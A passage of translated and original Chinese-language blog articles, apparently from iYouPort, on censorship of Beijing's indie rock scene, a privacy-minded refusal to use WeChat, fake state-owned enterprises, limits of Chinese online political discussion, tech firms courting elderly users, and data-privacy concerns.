北京摇滚乐队 Nova Heart 的女主唱、前MTV中国VJ冯海宁强调，这种对音乐的审查，以及对展演空间的更多审查，并不是为了压制艺术，而是为了支持城市中心更大的士绅化和经济发展。她说，文化是这种变化的牺牲品，而不是催化剂。"人们误以为现场的大部分压力来自政府。准确说应该是，它来自于政府的经济振兴"，在北京和柏林两地奔波的冯女士说，"音乐界让你感觉自己是一个跑现场的医生，每个人都在流血，你需要给他们包扎，你有一个崇高的目的。现在并不是如此，它更像是，你跑进的是战场，敌人只是在做一般的扫射，而你恰好站在接子弹的位置上"。

这种城市士绅化和结构调整 —— 党的信息传递一再庆祝，正在促进该国的中产阶级 —— 也可能是经济急剧下滑前的暂时繁荣。"你必须是个白痴，才会认为一切都在上升，而中国的经济已经上升了40年了。没有任何实体经济能够维持这种状态；这是不可能的"，冯说，"中国有一个极权主义政府，它对自己的人民感到恐惧，这是一个非常独特的事。而一个被吓坏了的极权主义政府会非常迅速地做出某些举动，而民主国家则不能"。

- 如果您错过了《大崩溃—— 从中国的恒大地产开始》

去年夏天，真人秀节目《乐队的夏天》第二季在视频网络平台爱奇艺播出。作为美国偶像式的独立摇滚乐队选拔赛，它在2019年开播的第一季很受欢迎，对其参与者（尤其是获胜者，活泼的梦幻流行乐队 New Pants）的职业生涯起到了推动作用。而它的第二季在无聊的宅男宅女们的怂恿下，引起了轰动。1.7亿人观看了33支不同年龄段的乐队在珠宝色调的灯光下的表演，面对情绪化的淘汰赛，在摄像机前各种八卦。

这并不是第一次音乐比赛将一种亚文化引爆为全国性的趋势 —— 该节目的前身 "中国有嘻哈"（The Rap of China）在2018–19年大受欢迎，并推动了几个新晋主持人成为明星 —— 尤其对于参赛的乐队来说，这是一个飞跃。到2020年秋天，随着中国各地的酒吧和俱乐部重新开放，其影响是显而易见的：突然间，那些在被封锁前在其小规模的DIY圈子之外不为人知的乐队正在出售全国巡演。他们的歌曲在卡拉OK酒吧里被播放，穿插在BTS和 Ariana Grande 的歌之间。

这一季中的获胜者，南京后朋克乐队 Re-TROS，在节目中已经有了一

定的地位—— 他们参加过音乐节，是巡回演出纪录片的主题，并为赶时髦 (Depeche Mode)乐队和美国实验乐队 Xiu Xiu 开场—— 但现在，他们正在舞台上表演。其他乐队也有类似的水平。尽管在第一轮比赛中被淘汰，但据说西安后朋克乐队法兹乐队（FAZI）在北京的秋季演出门票在几分钟内就卖光了。“该节目对独立音乐界来说是一个非常大的转变”，Carsick Cars 的张说。他的乐队在前十名之外。“我们现在在比以前大一倍的俱乐部演出。人们在火车站和机场认出我们。每次演出后，我们都要在CD上签名或与人合影一个半小时。这在以前从未发生过”。

也许最不可能的是，学校酒吧—— 鼓楼摇滚的邋遢、讥讽、顽固的坚守者—— 突然成为影响者的热点。因为节目中经常提到这个展演空间是许多乐队和评委最喜欢的地方，也是一个可以找到 “真正的” 摇滚的地方，粉丝们现在争相在这个地方拍照。“当学校酒吧重新开张时，它的队伍排到了街区周围。场地会被人们挤爆”，Domer 说，“这种情况蔓延到了演出中，尽管许多人在11点前就离开了，但它却被常客占满了。因为这个电视节目，它已经成为一个非常时尚的地方”。歌迷聚集在学校酒吧外

但对一些长期的观众来说，音乐会现在是一种迷失的体验。“我们总是被大量的能量吓到。有些感觉非常具有表演性”，艺术家 Krish Raghav 说，他目前正在创作一部关于中国地下音乐的图像小说。“很多人去看演出，就像你去游乐园一样。就像你买了一张主题公园的门票：给我摇滚表演的体验”。

有些人指责大乐团 (Big band) 有类似的矫揉造作。一位熟悉选拔过程的音乐界人士说，曾经入狱的音乐家是不被允许上镜的。音乐家们唱的歌词也可能是陌生的。北京的摄影师严聪说：“其中一些乐队相当颠覆，但因为他们参加了这个节目，基本上有国家级的审查，一切都被淡化了，或者他们只得挑选那些非常无害的歌曲去演唱”。

Raghav 说，大乐团正在创造一个模板，雄心勃勃的新摇滚乐队已经在效仿。他说：“这是一种非常特别的消毒独立摇滚乐，没有什么可说的，朗朗上口，并带有一个可以在电视上兜售的背景故事”。“我喜欢的几个乐队已经在朝这个方向发展了。他们的新音乐感觉已经不同。都是所谓的正能量和感觉良好的歌词，而在过去，这些歌词更愤怒，更怪异”。

Carsick Cars 的张指出，由于该节目的受欢迎程度，正在建造新的住处—— 远在市中心以外的文化区—— 但这些住处的容量很大，通常为500人。“也许这就是独立音乐发展的弊端。一切都将变得更加商业

化”，他说，“很多小俱乐部正在关闭，非常大的场地正在开放，但年轻的乐队没有能力去玩这些。所以他们正在研究什么最受欢迎，然后就做什么”。

但张相信，即使独立摇滚的潮流性下降，音乐也会保留许多的支持者。“我们的一些新歌迷只是因为这个节目才知道我们，而在此之前他们只听韩国流行音乐偶像的歌”，他说，“也许一些[独立摇滚]的追随者会离开，但我认为大多数人会继续听这种音乐，因为说实话，我认为它比中国的大多数流行音乐都更有力量也更诚实”。

如果这些数以百万计的歌迷继续听下去，独立摇滚可能会证明在中国的主流社会中流行多年。大乐团可能会运行很多季，把新的乐队推到富人面前。新的展演空间会出现，新的专辑会被发行。也许普通话和粤语的摇滚乐会像 K-pop 或城市音乐一样取得跨界的成功，向外扩散到全球范围。

但是，如果发生这种情况，有人可能会说这些歌迷也许永远不知道他们错过了什么。他们可能永远不知道这种音乐的真正力量可以有多大。他们不会看到恐惧、欣喜、孤独、痛苦、固执、责备、骄傲 …… 他们不会知道在音乐到达观众的屏幕之前，在它充满他们的空气之前，它发生过什么。

它听起来像什么 —— 它看起来像谁 —— 在它被允许之前。○

Beijing Calling: Suspicion, Hope, and Resistance in the Chinese Rock Underground

原文

在中国：TA为什么不使用微信？ - iYouPort

关于中国社会

来自中国的见解

「图」

「图」

【作者：匿名中文读者 】这篇文章是读者来稿，非常感谢中文读者提供来自中国的见解。

先插入一篇旧文，这是2年前在中国做过的一个访谈《卸载微信有无数种理由，超乎你的想象》。

写在前面：由于一个偶然的原因，小K结识了V君—— 一个在中国却不使用微信的人。

基于纯粹的好奇，小K对V君进行了一次以微信为话题的线上访谈，在此呈现给大家。

希望这些内容能够给读者们带来一些思考。访谈中的问题并非全部由小K提出，而是广泛征集了身边好友关于此话题的疑问。

————————————————

小K: V君，你好，请问这样称呼你可以吗？

V君: 没问题，反正也是匿名访谈。

小K: 据说你从来就不使用微信，请问一开始就是这样，还是使用过后来放弃了？

V君: 微信还没有那么流行的时候，用过一阵子，后来就放弃了，直到现在已经有5、6年没用过了。

小K: 相信很多人都非常好奇，在中国不使用微信，你的日常生活怎么办。比如付款、与朋友间的沟通？

V君: 的确有一些麻烦，但是我都能够克服。

我坚持使用现金支付，遇到有些餐厅或便利店拒绝现金找零，就换一个地方，或者事先准备好零钱。

有时我也会使坏，故意为难一下对方，不找零就坚持不离开，一般来说收银员都会极不情愿的去换零钱。

社交方面，我发现坚持使用微信这种单一方式进行沟通的人都不值得交朋友。

单从价值观方面就合不来。

一般如果我主动联系别人，会给对方自己的邮箱。如果关系比较好，会留电话号码。

这在很多人看来是“居住在山洞里的野人的生活”，但我觉得比山洞野人强多了（不是开玩笑）。

小K: 工作上呢？你所在的公司不要求使用微信进行沟通吗？

V君: 我所在的公司至少没有官方要求使用微信。通常我会告知经常联系的同事我不用微信，请电话联系。

如果因为我没有微信而不联系我，耽误工作也不是我的责任。

至少我的领导还不会以我不用微信为理由开除我，如果这件事情发生了，我也不会妥协，我对自己“把事情搞大”的能力非常自信。

小K: 说实话，当我听到在中国，尤其是大城市，还有人可以不使用微信，觉得真的不可思议。

V君: 其实没有什么不可思议的，有很多不使用微信的人，只不过你不知道而已，可能是因为他们被社会边缘化了。

而这些人当中不使用微信的理由也可能完全不同，比如有人就是不喜欢接触现代科技，有人对于工具的操作有认知障碍。

像我这样的理由可能更少见。

小K: 那么请您简要阐述一下自己不使用微信的理由。

V君: 主要是基于隐私的考量。

微信的问题不仅仅在于不尊重用户隐私这个层面上，而是完全无视用户的隐私。

我认为这主要还是出自于内容审查的便利，而不完全是出自因商业利益而利用用户数据那么简单。

此外，微信利用其垄断地位可以轻而易举的控制用户，操纵舆论。而封闭的代码和协议也可以用来操纵基于其平台的开发者，我说的就是“小程序”。

小K: 能否说得更具体一些，什么样的行为可以看出它“不尊重用户隐私”和“操纵舆论”？

V君: 再明显不过，比如你使用 Android 自带的权限管理工具禁用某西权限，微信会拒绝用户使用。

即便是使用实名手机号码注册的微信账号，如果你想加入一些人数达到一定数量的组群，它会要求你绑定银行卡，否则拒绝进入。

我认为从某种意义上讲，这是一种非常粗暴的网络霸权行为。

如果你仔细研究一下，会发现这样的行为太多了。至于“操纵舆论”我不想多说，因为这已经是公开的秘密了。

小K: 你所说的这些问题，在绝大多数即时聊天工具上都存在，为什么单单拿微信“开刀”？

V君: 其一，程度不同，微信是我见过的所有通讯工具中搜集用户信息最多的，最不讲理的。

其二，微信在中国处于绝对垄断地位，按你的说法，拿它“开刀”是再合适不过的了。

第三，对于其他那些我认为不够尊重用户隐私的工具，我也是不会用的，比如 whatsapp。

小K: 如果是这样，你基本上排除了所有能够使用的通讯工具。

V君: 对你这样的说法我表示很震惊，即便你从事的不是软件行业。不知道的东西不代表不存在，随便上搜索引擎搜一下都不会提出这样的问题。

小K: 嗯……，那好吧，我们换一个话题。请问您所从事的行业是？

V君: 我是一名软件工程师。

小K: 具体是什么类别的软件开发？

V君: 与互联网无关，算是传统软件吧。详细情况不方便透露。

小K: 你所从事的工作是否影响到你做出不使用微信的决定？如果是，那是什么样的影响？

V君: 是，也不是。

说是，因为在这个工作中能够更多的了解到行业内幕，更知道自己的隐私面临什么样的风险，这些都间接影响到了我使用什么样的工具与别人沟通。

说不是，是因为即便是不从事计算机相关工作的人，仍然有许多渠道了解到微信对于隐私的侵害。

反过来说我身边的很多同事论资历比我高，从业时间比我长，对行业内幕更清楚，但是他们都为了方便而成为了微信的“重度用户”。

小K: 你刚才提到“为了方便”，难道通讯工具的“便利性”不能成为一个重要的考核依据吗？

如果一个工具使用不“方便”，隐私保护得再好也无法赢得用户。

V君: 这样的说法很多人都在我耳边念过无数次。至少在我看来，“隐私”比“方便”更重要。

我认为“隐私”是基本人权，也是人区别于动物的重要特征之一。而在我看来，明知道隐私受到侵害的情况下仍然为了便利将其抛个人权利之脑后，就是自我出卖，或者也可能是纯粹的懒惰。

我见到的许多“微信重度患者”就是这样，当你和他们探讨隐私问题时，他们常说的话是：“你想那么多干什么？有什么用？到头来还是要被监视的/大家都一样的/我又没有什么敏感信息/君子坦荡

荡……”。

小K: 可不可以说这也反映出社会上普遍存在的对于个人隐私的误解？

V君: 确实是这样。而且不仅仅是误解，是完全偏离常识！

你可以看到上面对话透露出来的潜台词是：保护隐私的行为，重视隐私的人，会被怀疑“有问题”，“不知道干了什么坏事”，“不够坦荡”…… 我不知道这样的现象是否只发生在中国，我也经常出国，与国外同行交流没有发现这样的现象。但仍然不敢下结论这是中国特色。

小K: 为什么不能妥协一下?

V君: 没有妥协的理由，我有我的生活方式。当然我很乐意倡导这种生活方式，但是不能强迫别人。

反过来没有任何人能够强迫我去妥协。

如果说我固执，那就说对了，但是我不是在所有事情上都固执。

小K: 通过刚才你的言外之意，有一些其他的对“隐私”友好的通讯工具，能否推荐一下？

V君: 很多，Signal, Telegram, Riot 以及基于 XMPP 协议与 OTR/OMEMO端对端加密方案的众多客户端。

小K: 除了上述你说的关于隐私的问题，还有什么导致你不喜欢微信？

V君: 除了隐私以外，我最关注的就是科技产品，尤其是手机对个人时间的剥夺。

这不仅仅是微信的问题。现在是一个全民“低头族”的时代，手机剥夺了许多其他业余时间可以做的事情，比如读书、与朋友面对面交谈。

而可怕的是这个问题并没有得到广泛的重视和讨论。

小K: 能否谈谈你今后的计划？

V君: 继续不使用微信，坚持不使用微信。

如果身边的人仅仅因为我不使用微信而冒犯了她/他，从而不欢而散（这样的事情竟然实实在在发生过），这不是我的问题，而是她/他

应该去反思了。

如果未来由于不可抗拒因素必须用微信不可（比如最近很多政府部门纷纷推出使用微信办理业务的服务，未来这很有可能是唯一的方式），我会临时借别人的微信账户完成操作。

这是从 RMS (Richard M. Stallman) 得到的启发，他就是这样做的——既然对方不关注隐私，那么我拿来随便用用也无妨。

这也是一举两得，即完成了擦作，又达到了变相教育的目的，让对方对自己使用的工具产成疑问。

小K: 最后，你有什么相对读者们说的？

V君: 珍爱隐私，远离微信！没有微信的生活会更加美好。

也许你觉得自己做不到，但是事情都是可以一步步完成的，不迈出第一步就说自己做不到，会错失人生许多靓丽的风景。

小K: 非常感谢V君接受这次访谈，希望今后有更多机会探讨。

V君: 不客气，我也希望今后有更多机会把自己知道的东西传达给大家。〇

原文

在中国：为什么他们伪造国企身份？ - iYouPort

关于中国社会

“国企” 是一个咒语

「图」

「图」

这个名字听起来确实很厉害：“中国核工业建设集团”。它称自己曾经由中国人民解放军控制，现在是 “国有企业（soe）” 的一部分 —— “国有企业” 属于中国共产党政府的精英阶层。

其网站上充斥着其高管在全国签署交易的照片。就像任何一个国营巨头那样，它在政治上是 “完全正确” 的，其声明紧密呼应共产党的口号。

但只有一个障碍：中国核工业建设集团并不是国企。

随着中国经济放缓，违约率急剧上升。这种失败虽然很痛苦，但却使强大的公司急于与其他公司区分开，当然这也是其他国家所熟知的过程。在中国，情况更为严重：低迷时期暴露出的还有假冒的国企。

这些公司误导了债权人关于它们与国家之间的联系的理解，暗示如果他们遇到麻烦 “将得到支持”。但实际上，当出现麻烦时，什么支持都没有。

去年10月，处理不良贷款的华融公司出售了这个假国企中核工建公司6.1亿元人民币（合8700万美元）的资产，其中包括安徽省的房地产。

尽管有这么一个名字，但中核集团还是主要专注于财产，就像其他几种假冒的国企一样。它也得益于与真正的国企 “中国核工业建设股份有限公司” 的混淆（你会发现它们的英文名字有两处不同）。

假冒国企的家伙有很多同行。中国华阳经贸集团声称是中国最早的国有企业之一，但一家子公司在最近的一份文件中表示，它实际上是一个非国有实体。华阳经贸已违约近70亿元人民币。

“中国城建控股集团” 于2016年向私人投资者出售了其99%的股份，但一直称自己为国有企业。其他公司也修饰了它们的联系。如中国国储能源化工集团向评级机构保证它是强大的国有企业。但它去年拖欠了3.5亿美元的债券。

这样的故事已经变得足够普遍，以至于金融信息公司格隆汇发表了一份嘲讽性的指南，关于 “如何假冒国企”。寻找一个被人遗忘的政府机构；瞄准没有晋升希望的官员；然后 “成为一个不要脸的马屁精”，即可获得该机构的印章以注册您的公司。最后，建立子公司的迷魂阵。

假国企只是中国经济格局的一小部分。但是它们突出了两种病理。

首先，私营企业难以获得融资。银行了解国企破产的可能性较小，因此他们更愿意向国企贷款。

第二是尽职调查不力。“政府会扶助国企” 的信念根深蒂固，以至于替代了对其真实价值的评估。

并非只有中国投资者成为这一欺诈的牺牲品。当中国国储能源化工集团违约时，韩国券商也蒙受了巨大的损失。英国银行巴克莱是其承销商之一。

“最终的问题是，投资者还不够理性，” 中信证券的 Zhang Licong 表示，“投资者有自然的偏见，而一些公司就利用了这点”。〇

Some Chinese firms turn out to have lied about their state pedigree

原文

在中国：互联网上的政治为何如此局限（上）- iYouPort

关于中国社会

口水的关键弊端在于，它容易令人们无法专注于一个话题，因为情绪稍纵即逝，没有思考就没有深入、无法产生对策，虽然注意力被高度分散是社交网络的特点之一，不过如果你有一个明确的政治目的（方向）、并对互联网政治组织能力有所期待的话，那么就需要尽力克服这点。

「图」

「图」

A问我，“这几天都吵翻天了，为什么没看到你发言？这可不像你，向来不会错过热点的人”。我只隐约听到了一点点争执，根本谈不上吵翻天，它不在任何一个社交网络的热点标签排名上。没错，它来自于中国的微信圈子，圈内外的常规争议，议题本身没有新意，更重要的是，原本一个具备重要公共价值的议题被处理成了人际关系问题，人们开始选边站队，这就是你不敢轻易发言的原因：它将使你被认为拉偏架，不论你说什么。

这好像并不容易避免。圈子感在中国的社交网络上比现实中更为浓烈，人们习惯于以人际关系为依据选择自己的立场，也倾向于根据他人的观点推测其人际关系。每每论战都能演化成人际冲突，给人一种压力，难以畅快地参与和表达自己。“批评”被分为了两种：来自自己人的和外人的，它们被施以的态度截然相反，与观点本身并无关系。

一位很喜欢在微信晒twitter截图的“跨墙”中国网友，他的图中总是显示一个分组，那是他和几个朋友在微信建立的小圈子，不过十几人，该网友上千的following数字很可能显示了虚假的信息获取能力和连接关系。我一度希望它属于个别现象，直到发现了第二位、第三位……好吧，现在我需要换一个期待，希望这种状况中没有你。

中文在twitter和Facebook都能算是小语种，我们一直认为它是GFW造成的，或许还有其他原因，比如中文使用者的号召能力和相关意识不够，尤其对标签的使用不那么在意，它是能帮助人们快速聚集一个话题的最佳工具。另外，与中国的微博不同，twitter和Facebook的标签不可以使用中文，它将无法进入话题趋势，中文内容很容易石沉大海，虽然中文用户对国际热点议题也不那么积极，但依旧是非常可惜的。

西方中文媒体在翻译信息方面的筛选也很注意中国读者兴趣的保守倾向，比如下图这个消息，日本经济研究中心预测经济发展趋势，是以五个国家为研究对象的，中文消息中没有对另外四个东南亚国家的分析结果做详细介绍，而英文版是完整的，五个国家的内容比重很均匀。类似状况非常普遍，只需稍作观察。

「图」

「图」

内容生产者是在认知市场的基础上为其量身定做，我们介绍过互联网信息的三重过滤，媒体是第一重，上述人际关系是第二重－－你建立了什么样的连接，将决定你获取的内容（眼界）。还有一过滤来自偏好、刻板印象和获取目的。

中文舆论视野的局限在社交网络能明显感觉到，比如twitter，中文用户对议题的选择范围高度内卷，中国范围外的信息经常被漠视，哪怕它影响再大，比如近期美国Charlotte枪杀案，以及随后的非裔美国人历史博物馆开馆仪式话题，它们对美国民主党的支持率有明显促进作用，虽然中文twitter用户对美国大选的竞争很感兴趣，但这两个话题里基本没有中国人的身影。

相比下，英文用户会通过话题来搜索同道，他们似乎并不在意该话题发生在地球上哪个国家，我做过较长时间的相关观察，比如日前一个中国的同性恋者被强行送入精神病院的消息，使用＃LGBT 标签后立刻会有英文用户转发和收藏，他们是关注LGBT群体权利状况的人。＃Humanrights 也一样，虽然中国是人权问题最为严重的几个国家之一，但“Human rights”下找不到中文内容，同时对发生在其他国家的、具有轰动效应的人权问题事件，也几乎看不到中国网友的关注。

很多人认为“推特中文圈”的凝聚力很高，它是一个圈子、甚至有人描述其为“中国愤青的泄愤桶”，我不是完全同意。首先，我觉得它内部的连接强度很低，地域、职业和固有的小圈子造成的小共同体原子状

态明显，极少会出现超过十分之一的人使用同一个标签发言的盛况 - - 动员和号召的行动力，就如陈葵事件中那样，它是个罕见的例外。在上周三，美国范围话题趋势中排第一位的是#WednesdayWisdom，除英语之外，我还在其中找到了德语、法语等内容（虽然较少），但同样没有中文（很抱歉我使用了“同样”这个词）。类似最容易促成连接关系的玩法，推特中文圈里几乎不存在，凝聚何来？自闭倒是确实。

「图」

「图」

其次关于“泄愤”的观点，我是在近期听到有人提及的，搜索了一下才知道，似乎很早前就有同样观感的评论文章，一位锁推的用户表示，锁住的原因就是“拒绝与中文圈来往”。这点我不是太理解，锁住相当于拒绝了所有推特用户，使用英文发推不是也一样可以“离开”中文圈吗？不过他说了另一句话印象深刻，他说：不喜欢那种 “愤世 + 玩世” 的感觉，更喜欢用正面的、正常的、普通的语言说出来的观点，少一些暗语。是什么就说什么，不要用委婉的方式和代号去表示……他说“语言方式这件事对我很重要，会直接影响我的选择。”

这正是GFW内的审查打造出的表达习惯。审查依据关键字来屏蔽内容，中国网民练就了一手娴熟使用谐音和暗语的技巧，并逐渐发展为一种荣耀，擅长使用它们变成了中国“政治反对者”的标志，这便令政治议题的相关舆论很难被收集和翻译，与此同时，五毛的表达却是正规中文语法，已经有不少西方媒体在采集观点的时候中招了，“中国人更爱trump”的结论大家都熟悉，我认为它不完全属于组块思维。

上述提到的圈子问题在语言和话题选择上也有明显体现，一些用户喜欢将群聊里长段对话中的部分句子摘取放入twitter，这不仅会失去语境、并且还携带者小圈子磨合出来的特定的表达模式和措辞习惯，它很难在TL上获得大范围的影响，同时还会制造一种排斥感，不具备圈内共鸣体验的人不容易理解。

另方面，他上述提到的 “愤世 + 玩世” 的感觉也是一大特色级中文产物，简称口水，它的特点是，隐喻和类比使用过多，或许是借此为模棱两可的信息提供一个主题和框架，但它同时做到了隐藏某些区别、突出另些类似点的效果，它不是有价值的观点，只是一种心理引导。在微信群聊中这种状况是很常见的，曾经有分析认为源于国人普遍的政治意识水平偏低、思考惰性，只能用口水来发泄情绪、用过度简化来陈述意见。本网早前也收集和分析过口水化问题，它只着眼于“怎

么样”，不关心“怎么办”，实效价值几乎为零。

口水的关键弊端在于，它容易令人们无法专注于一个话题，因为情绪稍纵即逝，没有思考就没有深入、无法产生对策，虽然注意力被高度分散是社交网络的特点之一，不过如果你有一个明确的政治目的（方向）、并对互联网政治组织能力有所期待的话，那么就需要尽力克服这点。

可以多关注下欧美twitter圈的时政热点标签和相关内容，你将能收获更多关于互联网政治操作方面的灵感。

——未完待续——

原文

在中国：他们如何正在瞄准老人 - iYouPort

关于中国社会

老龄化互联网可能是一个威胁情报……

「图」

「图」

半年前我们介绍过《老龄化互联网》的问题，提醒：现在的互联网正在发生变化，从年轻人的天下转变为老年人的天下，这意味着什么？如果恶意行为者通过你的缺乏网络素养的祖母将带有间谍软件的链接转发给你，这意味着什么？

中国正在加强对此的利用。

「图」

「图」

晚餐后不久，上海市中心的襄阳公园变成了一个舞厅。

当老人们在梧桐树下翩翩起舞时，扬声器播放出古老的流行歌曲。

整体上是一幅老年人怀旧的场景 —— 直到你遇到施女士和周先生，他们是一对70多岁的老夫妇，他们对华尔兹的热情和对智能手机的热情基本一样。

老夫妇都喜欢 WeChat，一个中国的消息应用程序。“我可以不吃饭，但不能没有智能手机，”施女士承认说。

即便如此，这对老夫妻仍然是不寻常的。

中国50岁以上的人中只有不到三分之一的人表示在2016年拥有了智能手机，这是皮尤研究中心获得相关数据的最近一年，这个数字只占美国市场份额的一半。

中国社会科学院和腾讯公司的一项调查发现，只有17%的人经常使用手机购物；近一半的人从未这样做过。

科技公司正努力从网上吸引更多像施女士和周先生这样的老人，并预计在2020年，让中国老年人在花费于消费品上的7万亿元人民币（1万亿美元）中占更大份额。

对于科技公司而言，中国2.5亿多老龄人口（即18%的人口）的社会脱节是一个“机会” —— 与年轻人不同，退休人员会争先恐后地争夺成千上万的应用程序。

一旦学会了上网，这些老年人就开始挥霍。 2017年，一家大型电子商务公司“京东”发现，这些老年人的花费是普通用户的2.3倍。

老龄人口在由中国寡头阿里巴巴控制的在线现金管理服务“支付宝”中的平均存款为7000元，而所有年龄段人口的平均为4000元。

当商店拒绝现金时，熟练于在线支付的人可能会比典型的老年人做得更好。

但是，创业公司看到了丰富的选择。

“I Have A Partner”，这是一个约会应用程序，去年推出了大胆的字体和语音消息，专门服务于打字很慢的人。

糖豆广场舞（“Jelly Bean Square Dance”）开始发布舞蹈视频（还是带滤镜的，可以消除皱纹……），他们渴望成为专门服务于老人的一站式商店。该应用程序自2015年推出以来下载量已经超过2亿!

当然，寡头公司也非常希望迅速锁定老年人。

60岁以上的人中有五分之四的人的移动数据都在微信上，而18–35岁的人中这个数字为7%。

2017年，腾讯制作了一段视频，讲述了老一辈人对技术的困惑，鼓励孩子们教会他们的父母如何借助 WeChat “帮助”功能学习使用。

55岁以上的人现在是微信用户增长最快的群体。去年，阿里巴巴在线商店淘宝专门为老年顾客推出了“pay-for-me”选项，供家庭成员帮助代付款。

该网站每天播放超过1,000个针对老年人的直播节目。

去年阿里巴巴收购的送餐服务 Ele.me 现在正在为老年人提供膳食和药品交付服务，并提供一次性帮助，例如换灯泡。

预计到2050年，60岁以上人口的比例将翻一番，达到总数的三分之一。

请注意，我们翻译经济学人这篇文章想要提醒的并不是您家老人花了多少钱、或者跳了多少广场舞，而是，他们对互联网的浅薄理解很可能让他们成为最危险的弱点。如最上那张图所示。〇

The elderly are the next big growth market for Chinese tech firms

原文

在中国：保护数据隐私的新呼吁 - iYouPort

关于中国社会

虽然没有抵抗政府监视，但该案例也许标志着来自中国的反抗的开端

「图」

「图」

ses a smartphone while standing under surveillance cameras in Beijing last May.

和世界其他地方一样，中国用户也会产生大量的在线数据，但很少受到保护；从国家身份证号到家庭住址，导致个人信息被盗的市场蓬勃发展。

其中一些用于国家监视，而许多则用于针对私人的勒索和欺诈。

中国公众越来越关注隐私问题和监视，更多人开始保护自己的数据。

一些反抗者正在崛起，要求那些出售被盗的个人信息的人负责。黑客和博客作者一直在网上发布DIY的修复程序，以教会其他人如何使用加密通信或逃避监视。

“很多人为了方便起见而将自己的数据隐私权进行了交易，” Wu Dong说，现在他已成为对个人数据盗窃行为采取严厉处罚的倡导者。

吴的行动始于去年，当时他在自己的旅馆房间里藏了一个摄像头，以暴露不合标准的清洁习惯。他的视频广为传播。

为了报复，酒店工作人员泄漏了他的个人身份信息，即 中国酒店为公安部收集的个人详细信息。

吴说：“不管您住在哪个地方，他们都会认出您。您入住酒店，离开时，每个人都会围着你说：‘哦，我们知道你是谁。’” 这次事件发生

后，他没有继续担任酒店评论员的工作。

吴花了数万美元试图追踪是谁将他的个人资料放在网上的。一家酒店员工最终因泄漏他人隐私而被罚款500元（约合80美元）。

但除此之外，吴从来没有发现最初人肉他的家伙是谁。

现在，吴主张为报告数据盗窃和寻求损害赔偿提供更明确定义的法律渠道。

监控范围很广

如今中国收集有关其公民的数据比以往任何时候都要多。全国各大城市都连接了约2000万个监控摄像头，其中一些摄像头配备了面部识别功能，每天收集大量的生物识别信息。

在新疆西部地区，居民被迫在手机上安装监视软件，以扫描其照片和文本。

在线购物和移动支付的普及还创建了许多容易被黑客入侵的消费者信息。

这导致数据泄漏上升。在过去的一年中，网络安全研究人员发现了由中国公安部门运营的、未受保护的数据库，其中包含有关中国数千人的生物特征数据、以及从共享Wi-Fi网络抓取的数百万私人聊天记录的信息。

吴说："数据泄漏已渗透到生活的每个角落。"

中国当局于去年7月发布了准则，要求对科技公司收集的个人信息进行更大的监督，但法律执行力薄弱。

为了寻求损害赔偿，受害人承担着举证责任。这导致了非法的个人信息市场的泛滥。

中国当局估计，在中国大约有150万人非法转售个人数据，而且往往以低价出售 —— 价格低到，青年艺术家邓玉峰能够负担得起2018年的一场艺术展览，其中包括他购买的近35万条个人信息，都来自数据中间商。

隐私成为一种商品

致力于防止此类泄漏的企业家 Yang Geng 表示："如果互联网像今天这样进一步发展，则隐私最终将成为社会上最昂贵的商品。"

他曾经是亚马逊中国的首席安全官，后来创立了 Entropage，这是一家提供用户可以添加到电子邮件和消息收发应用程序中的加密工具的公司。

中国政府在数字隐私方面有矛盾的立场。一方面，它需要多孔技术，以便它可以监视维权人士之间的通信，并控制大众对信息的访问。在过去的两年中，中国当局逮捕和关闭了数十家VPN提供商，该软件通常用于翻越中国的大型防火墙。

2019年1月，国家网络空间监管机构宣布了对数据收集的更坚定立场。该机构说，移动应用程序"在促进经济和社会发展以及为民生服务方面发挥了不可替代的作用，但过多地收集个人信息现象"非常突出"。

也许北京认识到数据盗窃和薄弱的消费者保护是对社会稳定的威胁，因此它为 Entropage 等初创企业提供了空间。

(别忘了《"密码法"》，它让加密只能防隔壁老王，但对政府完全透明)

抵制面部识别

随着国家监视意识的增强，人们对数据隐私的需求也在不断增长。

隶属于中国著名报纸的研究中心最近的一项研究表明，74%的受访者反对使用面部识别身份验证方法，主要是因为他们担心所收集的生物特征数据不会得到充分保护。

越来越有进取心的中国网民也在互联网的遥远角落发起了自己动手的隐私文化。在新兴的中文互联网论坛上，用户经常分享用于防御中国审查制度的技术解决方案。

一个流行的技巧是携带两部手机，一部用于中国应用程序，另一部用于国际应用程序。另一个建议是注册一个美国Apple商店帐户，因为苹果公司从2017年开始在中国境内存储来自中国帐户的个人信息。

但是 Entropage 的 Yang 承认，将数据隐私商业化将是一个挑战，因为该问题尚未在中国完全主流化。他说，随着谨慎的风险资本家转向

更安全，更有利可图的投资，他很快就会耗尽资金。

他说，如果有证据证明他的工具被用于恐怖主义，他将自愿停止工作：“我当然更喜欢在和平的环境中生活，而不是[更喜欢]隐私和数据权利。”〇

In China, A New Call To Protect Data Privacy

原文

在中国：火爆的信息倒卖市场和概念错位 - iYouPort

关于中国社会

在中文网络，信息倒卖市场的火爆似乎丝毫不差原创内容市场，甚至更强。这里指的信息倒卖内容包括资讯、评论、思考结论和图片视频等。部分中文账号甚至中文媒体可以完全不需要原创内容即可实现在流量方面的骄傲。

这究竟是什么原因造成的？或许不得不考虑的是中国“特有的”几个门槛，1.GFW，2.语言，3.不尊重版权的行为习惯。

GFW，准确说是不翻墙的大多数，不仅给个人账号制造了便利，更有为数不少的中文媒体和自媒体从中获利，他们可以从墙外搬运内容到墙内，并筛除有可能被审查捕获的细节信息，制造一种变相的反转GFW 效应 - - 原本完整的内容被切割为可令审查满意的局部，有的甚至专门抓取英文圈的假新闻和明显谣言，只因它们更符合中国信息消费者的偏见。

如果没记错的话，GFW 建立的最初几年里，跨墙群体更多倾向于将墙内被封堵的内容搬运到墙外来实现长久保存，’转世党’人在 twitter 张贴他们被审查删除的文字，虽然大多没有使用英文，但至少为中文圈评论的畅所欲言提供了便利。但随着墙的加高和VPN管制加强，更有当局在墙内制造的多种粉丝经济市场，越来越多的人再次回到了墙内，或者躲入群聊，最初的信息流向发生了逆转。

有不少人已经判断称，微信群聊的信息量远高于公开平台，“因为它是各大公开平台的汇集，呆在微信里信息量就可以满足”，前提是你加入的群聊足够多。

它有几个缺点：1、越来越多的群聊的自我审查在要求成员避免谈论一些话题，包括避免深入一些话题；2、群组大多以共同点突出的人员组合而成，他们对话题的关注很可能集中于极少部分领域，而忽略了大部分领域；3、善于思考的人很少会满足于小范围受众，于是他们在群组中处于观察者身份，而不是贡献者，于是贡献者角色就会赋

予那些不善思考的成员，而他们对内容的选择大多比较肤浅（或者说直观），就是那种你完全可以用一句话/一个词去评价也不至于偏颇的信息。

